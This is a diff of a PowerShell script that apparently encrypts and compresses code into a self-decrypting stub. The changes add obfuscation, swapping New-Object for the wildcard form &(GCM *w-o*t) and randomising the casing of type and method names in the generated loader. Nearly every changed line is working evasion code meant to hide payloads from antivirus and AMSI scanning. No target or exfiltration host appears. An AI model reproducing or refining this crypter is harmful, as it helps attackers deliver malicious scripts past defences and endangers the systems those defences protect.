@@ -22,7 +22,7 @@ $ErrorActionPreference = "Stop"
2222$PSDefaultParameterValues [' *:ErrorAction' ]= ' Stop'
2323
2424function random {
25- $base64String = [Convert ]::ToBase64String((1 .. 10 | ForEach-Object {[byte ](Get-Random - Max 256 )}))
25+ $base64String = [Convert ]::ToBase64String((1 .. 5 | ForEach-Object {[byte ](Get-Random - Max 256 )}))
2626$base64String = $base64String -replace ' [+/=]' , ' '
2727return $base64String
2828}
@@ -104,11 +104,11 @@ sleep 1
104104
105105 # compress
106106 Write-Host " [*] Compressing ..."
107- [System.IO.MemoryStream ] $output = New-Object System.IO.MemoryStream
107+ [System.IO.MemoryStream ] $output = & (GCM * w - o * t) System.IO.MemoryStream
108108 if ($compressiontype -eq " Gzip" ) {
109- $compressionStream = New-Object System.IO.Compression.GzipStream $output , ([IO.Compression.CompressionMode ]::Compress)
109+ $compressionStream = & (GCM * w - o * t) System.IO.Compression.GzipStream $output , ([IO.Compression.CompressionMode ]::Compress)
110110 } elseif ( $compressiontype -eq " Deflate" ) {
111- $compressionStream = New-Object System.IO.Compression.DeflateStream $output , ([IO.Compression.CompressionMode ]::Compress)
111+ $compressionStream = & (GCM * w - o * t) System.IO.Compression.DeflateStream $output , ([IO.Compression.CompressionMode ]::Compress)
112112 }
113113 $compressionStream.Write ( $codebytes , 0 , $codebytes.Length )
114114 $compressionStream.Close ()
@@ -118,7 +118,7 @@ sleep 1
118118 # generate key
119119 Write-Host " [*] Generating Encryption Key ..."
120120
121- $aesManaged = New-Object " System.Security.Cryptography.AesManaged"
121+ $aesManaged = & (GCM * w - o * t) " System.Security.Cryptography.AesManaged"
122122
123123 if ($paddingmode -eq ' PKCS7' ) {
124124 $aesManaged.Padding = [System.Security.Cryptography.PaddingMode ]::PKCS7
@@ -153,40 +153,40 @@ sleep 1
153153
154154 $code_alternatives = @ ()
155155
156- $code_alternatives += ' ${2} = [System.Convert ]::FromBase64String ("{0}")' + " `r`n "
157- $code_alternatives += ' ${3} = [System.Convert ]::FromBase64String ("{1}")' + " `r`n "
158- $code_alternatives += ' ${4} = New-Object "System.Security.Cryptography.AesManaged "' + " `r`n "
156+ $code_alternatives += ' ${2} = [cOnvert ]::frOMbASe64striNg ("{0}")' + " `r`n "
157+ $code_alternatives += ' ${3} = [CoNVerT ]::froMbase64STRing ("{1}")' + " `r`n "
158+ $code_alternatives += ' ${4} = &(GCM *w-o*t) "SysTEM.SecURity.CRYpTOGRaPhY.aeSManAgED "' + " `r`n "
159159 $code_alternatives_shuffled = $code_alternatives
160160 $stub_template += $code_alternatives_shuffled -join ' '
161161
162162 $code_alternatives = @ ()
163163 $code_alternatives += ' ${4}.ModE = [SYSTem.SecUriTy.CrYPTOGrapHY.cIpheRmodE]::' + $CIpHerMoDE + " `r`n "
164164 $code_alternatives += ' ${4}.pAddINg = [sYsTem.SECuRIty.cRYptOGRaPhy.PaDdiNgMoDe]::' + $paddingmode + " `r`n "
165165 $code_alternatives += ' ${4}.BlOckSIze = ((10+50-20*2)+(4)-20/20+105)' + " `r`n "
166- $code_alternatives += ' ${4}.KeySize = ((10+166-20*2)+(97)+(12+11))' + " `n " + ' ${4}.Key = ${3}' + " `r`n "
166+ $code_alternatives += ' ${4}.kEysIZe = ((10+166-20*2)+(97)+(12+11))' + " `n " + ' ${4}.Key = ${3}' + " `r`n "
167167 $code_alternatives += ' ${4}.Iv = ${2}[0..15]' + " `r`n "
168168 $code_alternatives_shuffled = $code_alternatives
169169 $stub_template += $code_alternatives_shuffled -join ' '
170170
171171 $code_alternatives = @ ()
172- $code_alternatives += ' ${6} = New-Object System.IO.MemoryStream (,${4}.CreateDecryptor ().TransformFinalBlock (${2},16,${2}.Length-16))' + " `r`n "
173- $code_alternatives += ' ${7} = New-Object System.IO.MemoryStream' + " `r`n "
172+ $code_alternatives += ' ${6} = &(GCM *w-o*t) SYstEm.io.meMORYSTReAm (,${4}.CreAteDecRYpToR ().tRANsFOrMFiNALbLocK (${2},16,${2}.Length-16))' + " `r`n "
173+ $code_alternatives += ' ${7} = &(GCM *w-o*t) System.IO.MemoryStream' + " `r`n "
174174 $code_alternatives_shuffled = $code_alternatives | Sort-Object {Get-Random }
175175 $stub_template += $code_alternatives_shuffled -join ' '
176176
177177
178178 if ($compressiontype -eq " Gzip" ) {
179- $stub_template += ' ${5} = New-Object System.IO.Compression.GzipStream ${6}, ([IO.Compression.CompressionMode ]::Decompress )' + " `r`n "
179+ $stub_template += ' ${5} = &(GCM *w-o*t) SYSTEm.iO.compressiOn.GzipSTrEAm ${6}, ([io.comPreSsIOn.coMPRESsioNmOdE ]::DecoMPREss )' + " `r`n "
180180 } elseif ( $compressiontype -eq " Deflate" ) {
181- $stub_template += ' ${5} = New-Object System.IO.Compression.DeflateStream ${6}, ([IO.Compression.CompressionMode ]::Decompress )' + " `r`n "
181+ $stub_template += ' ${5} = &(GCM *w-o*t) sYsTEM.iO.comPresSION.DEFLATEsTream ${6}, ([iO.coMpReSsIoN.COmpRessiOnModE ]::dEComprESs )' + " `r`n "
182182 }
183183 $stub_template += ' ${5}.CopyTo(${7})' + " `r`n "
184184
185185 $code_alternatives = @ ()
186- $code_alternatives += ' ${5}.Close ()' + " `r`n "
187- $code_alternatives += ' ${4}.Dispose ()' + " `r`n "
186+ $code_alternatives += ' ${5}.CLoSe ()' + " `r`n "
187+ $code_alternatives += ' ${4}.dISPOsE ()' + " `r`n "
188188 $code_alternatives += ' ${6}.Close()' + " `r`n "
189- $code_alternatives += ' ${8} = [System.Text.Encoding ]::UTF8.GetString (${7}.ToArray ())' + " `r`n "
189+ $code_alternatives += ' ${8} = [TeXT.EnCOdInG ]::UtF8.GetStriNG (${7}.tOARRAY ())' + " `r`n "
190190 $code_alternatives_shuffled = $code_alternatives | Sort-Object {Get-Random }
191191 $stub_template += $code_alternatives_shuffled -join ' '
192192
0 commit comments